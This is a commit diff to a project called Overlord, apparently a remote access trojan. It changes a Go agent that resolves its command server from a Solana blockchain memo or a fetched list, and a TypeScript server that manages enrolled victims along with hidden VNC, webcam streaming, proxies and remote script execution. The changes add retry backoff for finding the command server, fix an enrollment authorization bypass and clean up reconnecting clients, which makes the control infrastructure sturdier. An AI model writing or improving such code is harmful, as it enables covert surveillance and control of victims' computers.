add bigger back off, fix issue with null enrollment status bypassing auth, fixed other issues as well

Overlord-Client/cmd/agent/session.go

@@ -195,14 +195,23 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
 		return
 	}
 
+	const maxBackoff = 2 * time.Minute
+
 	if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
 		log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress)
+		delay := backoff
 		for len(cfg.ServerURLs) == 0 {
 			if refreshServerURLsFromSolana(cfg) {
 				return
 			}
-			log.Printf("Retrying Solana memo lookup in %s", backoff)
-			time.Sleep(backoff)
+			log.Printf("Retrying Solana memo lookup in %s", delay)
+			time.Sleep(delay)
+			if delay < maxBackoff {
+				delay = delay * 2
+				if delay > maxBackoff {
+					delay = maxBackoff
+				}
+			}
 		}
 		return
 	}
@@ -214,12 +223,19 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
 	}
 
 	log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL)
+	delay := backoff
 	for len(cfg.ServerURLs) == 0 {
 		if refreshServerURLsFromRaw(cfg) {
 			return
 		}
-		log.Printf("Retrying raw server list fetch in %s", backoff)
-		time.Sleep(backoff)
+		log.Printf("Retrying raw server list fetch in %s", delay)
+		time.Sleep(delay)
+		if delay < maxBackoff {
+			delay = delay * 2
+			if delay > maxBackoff {
+				delay = maxBackoff
+			}
+		}
 	}
 }
 

Overlord-Server/src/db.ts

@@ -491,7 +491,7 @@ export function upsertClientRow(
        ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
       build_tag=COALESCE(excluded.build_tag, clients.build_tag),
       built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id),
-       enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END,
+       enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE COALESCE(clients.enrollment_status, 'pending') END,
        public_key=COALESCE(excluded.public_key, clients.public_key),
        key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint),
        cpu=COALESCE(excluded.cpu, clients.cpu),

Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts

@@ -163,6 +163,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
 
   ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 }));
 
+  clearEnrollmentTimeout(id);
   const timeout = setTimeout(() => {
     enrollmentTimeouts.delete(id);
     try {
@@ -271,6 +272,11 @@ export async function handleWebSocketMessage(
           }
         }
 
+        if (enrollmentStatus !== "approved" && enrollmentStatus !== "denied" && enrollmentStatus !== "pending") {
+          logger.warn(`[purgatory] unexpected enrollment_status "${enrollmentStatus}" for ${ws.data.clientId}, treating as pending`);
+          enrollmentStatus = "pending";
+        }
+
         const resolvedId = ws.data.clientId;
         const buildTag = typeof (payload as any).buildTag === "string"
           ? (payload as any).buildTag.trim()
@@ -337,7 +343,7 @@ export async function handleWebSocketMessage(
             ip: ip || undefined,
             country,
           });
-          try { ws.close(4001, "pending"); } catch {}
+          setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100);
           return;
         }
 
@@ -347,6 +353,23 @@ export async function handleWebSocketMessage(
           try { existingClient.ws.close(4004, "superseded"); } catch {}
           clientManager.deleteClient(resolvedId);
           clearEnrollmentTimeout(resolvedId);
+          stopAllProxiesForClient(resolvedId);
+          deps.clearPendingNotificationScreenshots(resolvedId);
+          deps.clearClientPluginState(resolvedId);
+          for (const [cmdId, pending] of deps.pendingScripts) {
+            if (pending.clientId === resolvedId) {
+              clearTimeout(pending.timeout);
+              pending.resolve({ ok: false, error: "Client reconnected (superseded)" });
+              deps.pendingScripts.delete(cmdId);
+            }
+          }
+          for (const [cmdId, pending] of deps.pendingCommandReplies) {
+            if (pending.clientId === resolvedId) {
+              clearTimeout(pending.timeout);
+              pending.resolve({ ok: false, message: "Client reconnected (superseded)" });
+              deps.pendingCommandReplies.delete(cmdId);
+            }
+          }
           deps.rdStreamingState.delete(resolvedId);
           deps.hvncStreamingState.delete(resolvedId);
           deps.webcamStreamingState.delete(resolvedId);
@@ -380,6 +403,7 @@ export async function handleWebSocketMessage(
         });
 
         const notificationConfig = deps.getNotificationConfig();
+        try {
           ws.send(
             encodeMessage({
               type: "hello_ack",
@@ -391,6 +415,9 @@ export async function handleWebSocketMessage(
               },
             }),
           );
+        } catch (sendErr) {
+          logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`);
+        }
 
         handleHello(infoObj, payload, ws, ip);
         clientManager.addClient(infoObj.id, infoObj);